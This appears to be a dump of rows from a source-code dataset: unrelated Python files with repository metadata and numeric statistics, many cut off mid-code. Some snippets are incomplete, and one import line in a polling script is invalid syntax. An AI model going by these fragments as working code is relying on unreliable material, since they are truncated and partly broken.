print(ret) | 19.142857 | 52 | 0.675373 | 44 | 268 | 4.090909 | 0.636364 | 0.077778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047414 | 0.134328 | 268 | 14 | 53 | 19.142857 | 0.728448 | 0 | 0 | 0 | 0 | 0 | 0.156134 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.1 | 0.1 | 0 | 0.1 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
34bedfb0e3242bfb62760c2bf1a6fac4bbe51163 | 235 | py | Python | day02/demo04.py | CHExN/practice_python | 10460eebaabe52b64163604506eeaa84ebb4d229 | [
"MIT"
] | null | null | null | day02/demo04.py | CHExN/practice_python | 10460eebaabe52b64163604506eeaa84ebb4d229 | [
"MIT"
] | null | null | null | day02/demo04.py | CHExN/practice_python | 10460eebaabe52b64163604506eeaa84ebb4d229 | [
"MIT"
] | null | null | null | '''
int():将一个数值或字符串转换成整数,可以指定进制。
float():将一个字符串转换成浮点数。
str():将指定的对象转换成字符串形式,可以指定编码。
chr():将整数转换成该编码对应的字符串(一个字符)。
ord():将字符串(一个字符)转换成对应的编码(整数)。
'''
a = 76
b = 'y'
print(int(a))
print(float(a))
print(str(a))
print(chr(a))
print(ord(b))
| 14.6875 | 29 | 0.67234 | 35 | 235 | 4.514286 | 0.571429 | 0.151899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009259 | 0.080851 | 235 | 15 | 30 | 15.666667 | 0.722222 | 0.587234 | 0 | 0 | 0 | 0 | 0.011236 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.714286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
34c1a4ecfdd79b68a44b76c840d80ef8c4014acb | 6,693 | py | Python | prodigy.py | KRamchurn/PRODIGy | 215550f352d450eb1a353208dd17419ae642b695 | [
"MIT"
] | null | null | null | prodigy.py | KRamchurn/PRODIGy | 215550f352d450eb1a353208dd17419ae642b695 | [
"MIT"
] | null | null | null | prodigy.py | KRamchurn/PRODIGy | 215550f352d450eb1a353208dd17419ae642b695 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
import re
import argparse
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--input", metavar = "FILE", help = "Please enter the file (with extension) that you wish to parse", default = "orfs.fa")
parser.add_argument("-o", "--output", metavar = "FILE", hel... | 35.601064 | 244 | 0.699836 | 937 | 6,693 | 4.925293 | 0.191035 | 0.033369 | 0.015601 | 0.022102 | 0.575515 | 0.503142 | 0.480173 | 0.408234 | 0.408234 | 0.408234 | 0 | 0.004843 | 0.197819 | 6,693 | 187 | 245 | 35.791444 | 0.854722 | 0 | 0 | 0.551724 | 0 | 0 | 0.103915 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.017241 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
34c36f0ffebf493bbb6ff545dc28900388c1c37d | 1,649 | py | Python | mangacork/forms.py | luongs/manga-cork | 074515ed8783c66d3a7a0a2a34836b22a46022da | [
"MIT"
] | 1 | 2015-12-11T15:12:57.000Z | 2015-12-11T15:12:57.000Z | mangacork/forms.py | luongs/manga-cork | 074515ed8783c66d3a7a0a2a34836b22a46022da | [
"MIT"
] | null | null | null | mangacork/forms.py | luongs/manga-cork | 074515ed8783c66d3a7a0a2a34836b22a46022da | [
"MIT"
] | null | null | null | from flask_wtf import Form
from wtforms import (TextField, StringField, BooleanField,PasswordField,
validators)
from .utils import Unique
from .models import User
from .constants import (USER_LEN_MSG, USER_REQ_MSG, USER_DUPL_MSG,
EMAIL_FORMAT_MSG, EMAIL_REQ_MSG, EMAIL_DUPL_M... | 48.5 | 79 | 0.577926 | 161 | 1,649 | 5.645963 | 0.242236 | 0.059406 | 0.039604 | 0.069307 | 0.420242 | 0.224422 | 0.224422 | 0.224422 | 0.224422 | 0.224422 | 0 | 0.005495 | 0.33778 | 1,649 | 33 | 80 | 49.969697 | 0.826923 | 0 | 0 | 0 | 0 | 0 | 0.035801 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.142857 | 0.178571 | 0 | 0.464286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
34c6510c07afd3c19dcea831757776dbc486c0ed | 600 | py | Python | TLCS/H_function.py | BridgeQZH/Deep-QLearning-Agent-for-Traffic-Signal-Control | 194924e51d816daa992faa4bd8cdbfd22dc7b3e8 | [
"MIT"
] | null | null | null | TLCS/H_function.py | BridgeQZH/Deep-QLearning-Agent-for-Traffic-Signal-Control | 194924e51d816daa992faa4bd8cdbfd22dc7b3e8 | [
"MIT"
] | null | null | null | TLCS/H_function.py | BridgeQZH/Deep-QLearning-Agent-for-Traffic-Signal-Control | 194924e51d816daa992faa4bd8cdbfd22dc7b3e8 | [
"MIT"
] | null | null | null | from __future__ import absolute_import
from __future__ import print_function
import numpy as np
from model import TestModel
from utils import import_train_configuration, set_test_path
def H_function(next_state):
config = import_train_configuration(config_file='training_settings.ini')
model_path, plot_pat... | 22.222222 | 94 | 0.748333 | 83 | 600 | 5 | 0.518072 | 0.06506 | 0.077108 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.18 | 600 | 26 | 95 | 23.076923 | 0.843496 | 0.05 | 0 | 0 | 0 | 0 | 0.10582 | 0.037037 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.4 | 0 | 0.533333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
34d924c0724d84950ea6c16f3707d9e45055f628 | 14,110 | py | Python | devnet2019/views/devnet_system_setting_threshold_mail.py | snowtrain/network-ops | fc439c0531258be545f31964e195cadde479734e | [
"MIT"
] | 1 | 2020-04-03T07:34:47.000Z | 2020-04-03T07:34:47.000Z | devnet2019/views/devnet_system_setting_threshold_mail.py | snowtrain/network-ops | fc439c0531258be545f31964e195cadde479734e | [
"MIT"
] | null | null | null | devnet2019/views/devnet_system_setting_threshold_mail.py | snowtrain/network-ops | fc439c0531258be545f31964e195cadde479734e | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from devnet2019.models import Thresholdcpu, Thresholdmem, Thresholdutilization, Smtplogindb, Thresholdsnmp
from devnet2019.forms import Sysconfigthreshold
from django.shortcuts import render
import smtplib
import email.utils
from email.mime.multipart import MIMEMultipart
from email.mime.text imp... | 43.282209 | 106 | 0.545074 | 1,223 | 14,110 | 6.064595 | 0.15372 | 0.112175 | 0.029122 | 0.031549 | 0.665229 | 0.590266 | 0.568019 | 0.539571 | 0.539571 | 0.519752 | 0 | 0.005795 | 0.376258 | 14,110 | 325 | 107 | 43.415385 | 0.83695 | 0.088377 | 0 | 0.656371 | 0 | 0 | 0.080849 | 0.02747 | 0 | 0 | 0 | 0 | 0 | 1 | 0.011583 | false | 0.07722 | 0.030888 | 0 | 0.057915 | 0.007722 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
34e0d84b0f7806317a755e0765451312af765630 | 292 | py | Python | single_source/__init__.py | rabbit72/single_truth | ee3fbc8f7670b0ef646d9cb56939cfe85557e256 | [
"MIT"
] | 43 | 2020-08-28T08:36:19.000Z | 2022-03-31T23:37:32.000Z | single_source/__init__.py | rabbit72/single_truth | ee3fbc8f7670b0ef646d9cb56939cfe85557e256 | [
"MIT"
] | 5 | 2021-02-03T15:39:10.000Z | 2022-03-08T13:06:23.000Z | single_source/__init__.py | rabbit72/single_truth | ee3fbc8f7670b0ef646d9cb56939cfe85557e256 | [
"MIT"
] | 3 | 2021-04-07T19:06:36.000Z | 2022-02-22T15:38:18.000Z | __all__ = (
"__version__",
"get_version",
"SingleSourceError",
"VersionNotFoundError",
)
from pathlib import Path
from .errors import SingleSourceError, VersionNotFoundError
from .version import get_version
__version__ = get_version(__name__, Path(__file__).parent.parent)
| 20.857143 | 65 | 0.760274 | 28 | 292 | 7.107143 | 0.464286 | 0.150754 | 0.170854 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.150685 | 292 | 13 | 66 | 22.461538 | 0.802419 | 0 | 0 | 0 | 0 | 0 | 0.202055 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.3 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
34e3d5473908288c0a25e8d89173dd4b3626aed2 | 412 | py | Python | kubernetes_typed/client/models/core_v1_event_list.py | nikhiljha/kubernetes-typed | 4f4b969aa400c88306f92560e56bda6d19b2a895 | [
"Apache-2.0"
] | null | null | null | kubernetes_typed/client/models/core_v1_event_list.py | nikhiljha/kubernetes-typed | 4f4b969aa400c88306f92560e56bda6d19b2a895 | [
"Apache-2.0"
] | null | null | null | kubernetes_typed/client/models/core_v1_event_list.py | nikhiljha/kubernetes-typed | 4f4b969aa400c88306f92560e56bda6d19b2a895 | [
"Apache-2.0"
] | null | null | null | # Code generated by `typeddictgen`. DO NOT EDIT.
"""CoreV1EventListDict generated type."""
from typing import TypedDict, List
from kubernetes_typed.client import CoreV1EventDict, V1ListMetaDict
CoreV1EventListDict = TypedDict(
"CoreV1EventListDict",
{
"apiVersion": str,
"items": List[CoreV1Eve... | 24.235294 | 67 | 0.682039 | 36 | 412 | 7.777778 | 0.722222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021538 | 0.211165 | 412 | 16 | 68 | 25.75 | 0.84 | 0.201456 | 0 | 0 | 1 | 0 | 0.142415 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
34fb4cd748f41a5d690ff69ac103714bc195ddf5 | 3,786 | py | Python | ingest/importer/submission/submission.py | ebi-ait/ingest-client | d5654ab50c5f7357d5b08bcc6eae22633176b11e | [
"Apache-2.0"
] | null | null | null | ingest/importer/submission/submission.py | ebi-ait/ingest-client | d5654ab50c5f7357d5b08bcc6eae22633176b11e | [
"Apache-2.0"
] | 15 | 2020-10-06T08:15:34.000Z | 2022-03-24T18:31:04.000Z | ingest/importer/submission/submission.py | ebi-ait/ingest-client | d5654ab50c5f7357d5b08bcc6eae22633176b11e | [
"Apache-2.0"
] | null | null | null | import logging
from typing import List
from ingest.api.ingestapi import IngestApi
from ingest.importer.submission.entity import Entity
from ingest.importer.submission.entity_map import EntityMap
format = '[%(filename)s:%(lineno)s - %(funcName)20s() ] %(asctime)s - %(name)s - %(levelname)s - %(message)s'
logging.basic... | 41.604396 | 113 | 0.633914 | 420 | 3,786 | 5.407143 | 0.238095 | 0.047556 | 0.057244 | 0.048437 | 0.247468 | 0.17041 | 0.062087 | 0.047556 | 0.047556 | 0.047556 | 0 | 0.001087 | 0.270998 | 3,786 | 90 | 114 | 42.066667 | 0.821739 | 0.010037 | 0 | 0.028169 | 0 | 0.014085 | 0.111052 | 0.006407 | 0 | 0 | 0 | 0.011111 | 0 | 1 | 0.112676 | false | 0 | 0.070423 | 0.028169 | 0.28169 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
55040039a1aeada72f63b0bc39d8f7f295d5ec6b | 3,822 | py | Python | blog/main/users.py | MU001999/blog | f9236c732ab51f80c2bf845c5c0f87e2ba404319 | [
"MIT"
] | 1 | 2017-06-21T01:47:01.000Z | 2017-06-21T01:47:01.000Z | blog/main/users.py | MU001999/DemoBlog | f9236c732ab51f80c2bf845c5c0f87e2ba404319 | [
"MIT"
] | null | null | null | blog/main/users.py | MU001999/DemoBlog | f9236c732ab51f80c2bf845c5c0f87e2ba404319 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import os
from flask import render_template, redirect, request, session
from werkzeug.utils import secure_filename
from blog import app
from blog.link2db import *
app.secret_key = os.urandom(24)
ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])
def allowed_file(filename):
return '... | 31.327869 | 117 | 0.611722 | 446 | 3,822 | 5.125561 | 0.226457 | 0.07699 | 0.066492 | 0.043745 | 0.332458 | 0.20385 | 0.057743 | 0.057743 | 0.057743 | 0 | 0 | 0.006645 | 0.212454 | 3,822 | 121 | 118 | 31.586777 | 0.752824 | 0.005495 | 0 | 0.15625 | 0 | 0 | 0.182153 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.104167 | false | 0.083333 | 0.052083 | 0.010417 | 0.302083 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
550d144e5cc2b49a074af382deeecc1826695146 | 533 | py | Python | tests/test_torrent.py | baskiton/torrent | 1b4a1eca954513ff289520596381aee392760d32 | [
"MIT"
] | null | null | null | tests/test_torrent.py | baskiton/torrent | 1b4a1eca954513ff289520596381aee392760d32 | [
"MIT"
] | null | null | null | tests/test_torrent.py | baskiton/torrent | 1b4a1eca954513ff289520596381aee392760d32 | [
"MIT"
] | null | null | null | import glob
import pathlib
import unittest as ut
import btorrent
class TestTorrent(ut.TestCase):
def test_torrent(self):
path = pathlib.Path('tests/files/test_0.torrent')
tt_0 = btorrent.Torrent(btorrent.TorrentFile.from_file(path))
tt_1 = btorrent.Torrent(path)
for ilvl, lvl in ... | 29.611111 | 77 | 0.654784 | 68 | 533 | 4.970588 | 0.5 | 0.017751 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012594 | 0.255159 | 533 | 17 | 78 | 31.352941 | 0.838791 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 0.04878 | 0 | 0 | 0 | 0 | 0.076923 | 1 | 0.076923 | false | 0 | 0.307692 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
9b2f11d1c73f06baf6b508ed4f8450d1e1b472a9 | 413 | py | Python | dynamic_schemas/migrations/0024_auto_20180118_1035.py | Threemusketeerz/DSystems | cd03ad2fa6b55872d57bfd01a4ac781aa5cbed8c | [
"BSD-2-Clause"
] | 1 | 2018-01-23T12:23:48.000Z | 2018-01-23T12:23:48.000Z | dynamic_schemas/migrations/0024_auto_20180118_1035.py | Threemusketeerz/DSystems | cd03ad2fa6b55872d57bfd01a4ac781aa5cbed8c | [
"BSD-2-Clause"
] | 1 | 2018-01-19T08:43:59.000Z | 2018-01-23T12:20:43.000Z | dynamic_schemas/migrations/0024_auto_20180118_1035.py | Threemusketeerz/DSystems | cd03ad2fa6b55872d57bfd01a4ac781aa5cbed8c | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2018-01-18 09:35
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('dynamic_schemas', '0023_auto_20180118_1030'),
]
operations = [
migrations.RenameMod... | 20.65 | 55 | 0.631961 | 45 | 413 | 5.555556 | 0.844444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107492 | 0.256659 | 413 | 19 | 56 | 21.736842 | 0.70684 | 0.164649 | 0 | 0 | 1 | 0 | 0.175439 | 0.067251 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b311114fece78174d8e2153a95c903dc3cdb904 | 1,360 | py | Python | scihub_eva/globals/preferences.py | zlgenuine/scihub | c40b6dd96213d26b7682fa0912a650360acbd16d | [
"MIT"
] | 859 | 2018-05-19T13:14:59.000Z | 2022-03-27T08:31:27.000Z | scihub_eva/globals/preferences.py | Nurul-GC/SciHubEVA | 9e3333b4b6911e233cf8a78b5fb41c098c5defc5 | [
"MIT"
] | 39 | 2018-05-28T06:59:38.000Z | 2022-02-12T04:41:46.000Z | scihub_eva/globals/preferences.py | Nurul-GC/SciHubEVA | 9e3333b4b6911e233cf8a78b5fb41c098c5defc5 | [
"MIT"
] | 153 | 2018-05-22T03:03:31.000Z | 2022-03-12T02:37:53.000Z | # -*- coding: utf-8 -*-
# System
SYSTEM_LANGUAGE_KEY = 'System/Language'
SYSTEM_THEME_KEY = 'System/Theme'
SYSTEM_THEME_DEFAULT = 'System'
# File
FILE_SAVE_TO_DIR_KEY = 'File/SaveToDir'
FILE_SAVE_TO_DIR_DEFAULT = ''
FILE_FILENAME_PREFIX_FORMAT_KEY = 'File/FilenamePrefixFormat'
FILE_FILENAME_PREFIX_FORMAT_DEFAULT = ... | 27.755102 | 74 | 0.815441 | 180 | 1,360 | 5.655556 | 0.333333 | 0.141454 | 0.032417 | 0.02554 | 0.039293 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012841 | 0.083824 | 1,360 | 48 | 75 | 28.333333 | 0.804173 | 0.030147 | 0 | 0 | 0 | 0 | 0.28691 | 0.092085 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.068966 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
9b317441dc60efe6d69ac1c27f7a5e81f9c19783 | 757 | py | Python | test/unit/data/test_dataloader.py | megvii-research/basecls | 6b395a0a888370b4523764afb78a5a7634a3f6cd | [
"Apache-2.0"
] | 23 | 2021-12-08T02:35:01.000Z | 2022-03-16T02:23:19.000Z | test/unit/data/test_dataloader.py | megvii-research/basecls | 6b395a0a888370b4523764afb78a5a7634a3f6cd | [
"Apache-2.0"
] | 4 | 2021-12-23T11:31:17.000Z | 2022-02-28T01:35:31.000Z | test/unit/data/test_dataloader.py | megvii-research/basecls | 6b395a0a888370b4523764afb78a5a7634a3f6cd | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2014-2021 Megvii Inc. All rights reserved.
import tempfile
import megengine.data as data
import pytest
from basecls.configs import BaseConfig
from basecls.data import ColorAugment, build_dataloader
@pytest.mark.parametrize("train", [True, False])
def test_build_folderloader(tr... | 32.913043 | 69 | 0.731836 | 97 | 757 | 5.57732 | 0.556701 | 0.044362 | 0.040665 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016051 | 0.177015 | 757 | 22 | 70 | 34.409091 | 0.852327 | 0.103038 | 0 | 0 | 0 | 0 | 0.054653 | 0 | 0 | 0 | 0 | 0 | 0.066667 | 1 | 0.066667 | false | 0 | 0.333333 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
9b326bbc9f8e827d9c91b893cb1fd690e85a23e3 | 2,325 | py | Python | test/test_pipeline_parallel_transform.py | microsoft/dist-ir | 7cfa1b0c1e671619d5049520ed35c9640d449195 | [
"MIT"
] | 8 | 2021-11-25T06:36:16.000Z | 2022-02-28T10:37:11.000Z | test/test_pipeline_parallel_transform.py | microsoft/dist-ir | 7cfa1b0c1e671619d5049520ed35c9640d449195 | [
"MIT"
] | null | null | null | test/test_pipeline_parallel_transform.py | microsoft/dist-ir | 7cfa1b0c1e671619d5049520ed35c9640d449195 | [
"MIT"
] | 2 | 2021-11-10T11:40:51.000Z | 2022-01-11T04:33:35.000Z | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT License.
import numpy as np
from dist_ir.ir import cpprint
from dist_ir.transforms import PipelineParallelTransform
from dist_ir.executor import ConcreteValue, sequentially_execute
from . import pipeline_parallel_utils as utils
def test_mnist_fw_bw():
... | 30.592105 | 76 | 0.615054 | 291 | 2,325 | 4.690722 | 0.367698 | 0.041026 | 0.052747 | 0.050549 | 0.145055 | 0.052747 | 0 | 0 | 0 | 0 | 0 | 0.034753 | 0.232688 | 2,325 | 75 | 77 | 31 | 0.730381 | 0.048602 | 0 | 0.177419 | 0 | 0 | 0.071688 | 0 | 0 | 0 | 0 | 0.013333 | 0.016129 | 1 | 0.016129 | false | 0 | 0.080645 | 0 | 0.096774 | 0.322581 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b356cd3840e67154084172ab90e9797d72e217f | 1,049 | py | Python | ex059a.py | emerfelippini/Curso_em_video-Aulas_Python | 5b1d78b259732bb9bbad27cd30ce91bba77c5ef0 | [
"MIT"
] | null | null | null | ex059a.py | emerfelippini/Curso_em_video-Aulas_Python | 5b1d78b259732bb9bbad27cd30ce91bba77c5ef0 | [
"MIT"
] | null | null | null | ex059a.py | emerfelippini/Curso_em_video-Aulas_Python | 5b1d78b259732bb9bbad27cd30ce91bba77c5ef0 | [
"MIT"
] | null | null | null | from time import sleep
print('\033[1;4;32;40m', '-' * 15, 'CALCULADORA', '-' * 15, '\033[m')
print('Digite dois número para efeturar o calculo.')
num1 = float(input('Número 1: '))
num2 = float(input('Número 2: '))
escolha = 0
while escolha != 5:
print('-' * 30)
print('\033[1;32m[1] SOMAR\n[2] MULTIPLICAR\n[3] D... | 38.851852 | 124 | 0.564347 | 144 | 1,049 | 4.111111 | 0.395833 | 0.108108 | 0.108108 | 0.096284 | 0.324324 | 0.253378 | 0.253378 | 0.141892 | 0.141892 | 0.141892 | 0 | 0.084171 | 0.241182 | 1,049 | 27 | 125 | 38.851852 | 0.659548 | 0 | 0 | 0.222222 | 0 | 0.037037 | 0.341905 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037037 | 0 | 0.037037 | 0.407407 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
9b3573d4c6f1a21e6fe02dffccb353478b521ba4 | 2,237 | py | Python | golab-linux/monitor_f2.py | wolverinn/GOLab-django | d4b9dde0479a166d293f5422bba9ba20a0d8f152 | [
"MIT"
] | 1 | 2021-03-17T19:20:32.000Z | 2021-03-17T19:20:32.000Z | golab-linux/monitor_f2.py | wolverinn/GOLab-django | d4b9dde0479a166d293f5422bba9ba20a0d8f152 | [
"MIT"
] | 1 | 2019-11-13T09:37:06.000Z | 2020-01-31T07:03:24.000Z | golab-linux/monitor_f2.py | wolverinn/GOLab-django | d4b9dde0479a166d293f5422bba9ba20a0d8f152 | [
"MIT"
] | null | null | null | import requests
from go import golablib.monitor as monitor
import time
import datetime
# 不间断运行:https://blog.csdn.net/miner_zhu/article/details/81315974
api_v1 = 'http://47.107.40.103/gogate/api/v1/'
v1_data = {
"key":"Wolverine",
"freq":"2",
}
while True:
v1_r = requests.get(api_v1,data=v1_data)
v1_j... | 39.245614 | 93 | 0.507823 | 262 | 2,237 | 4.076336 | 0.324427 | 0.046816 | 0.042135 | 0.030899 | 0.132959 | 0.107678 | 0.070225 | 0.048689 | 0 | 0 | 0 | 0.050894 | 0.350022 | 2,237 | 57 | 94 | 39.245614 | 0.683631 | 0.052749 | 0 | 0.134615 | 0 | 0 | 0.146434 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.076923 | null | null | 0.019231 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b38dc3b55b7740ae24b160415fc4fa9d01581f2 | 1,538 | py | Python | zapi/views.py | zyn777/7pi | 5f00a535f7b247ae1005d29475d2019713fed22e | [
"Apache-2.0"
] | null | null | null | zapi/views.py | zyn777/7pi | 5f00a535f7b247ae1005d29475d2019713fed22e | [
"Apache-2.0"
] | null | null | null | zapi/views.py | zyn777/7pi | 5f00a535f7b247ae1005d29475d2019713fed22e | [
"Apache-2.0"
] | null | null | null | import logging
from django.contrib import auth
from django.contrib.auth.decorators import login_required
from django.http import HttpResponseRedirect
from django.shortcuts import render
from zapi.forms import LoginForm
logger = logging.getLogger(__name__)
def index(request):
return render(request, "index.html"... | 31.387755 | 93 | 0.597529 | 165 | 1,538 | 5.515152 | 0.30303 | 0.065934 | 0.083516 | 0.079121 | 0.171429 | 0.171429 | 0.118681 | 0 | 0 | 0 | 0 | 0.015972 | 0.26723 | 1,538 | 48 | 94 | 32.041667 | 0.791482 | 0 | 0 | 0.282051 | 0 | 0 | 0.118986 | 0.03251 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0.076923 | 0.153846 | 0.025641 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
9b38dec68360b3deccb3fc43528d388d9e76a153 | 3,598 | py | Python | mst/graph.py | williams-jacquelinec/project3 | ba76d6a17b8983f36fbcf1393e8d8d336a21da1d | [
"MIT"
] | null | null | null | mst/graph.py | williams-jacquelinec/project3 | ba76d6a17b8983f36fbcf1393e8d8d336a21da1d | [
"MIT"
] | null | null | null | mst/graph.py | williams-jacquelinec/project3 | ba76d6a17b8983f36fbcf1393e8d8d336a21da1d | [
"MIT"
] | null | null | null | import numpy as np
import heapq
from typing import Union
class Graph:
def __init__(self, adjacency_mat: Union[np.ndarray, str]):
""" Unlike project 2, this Graph class takes an adjacency matrix as input. `adjacency_mat`
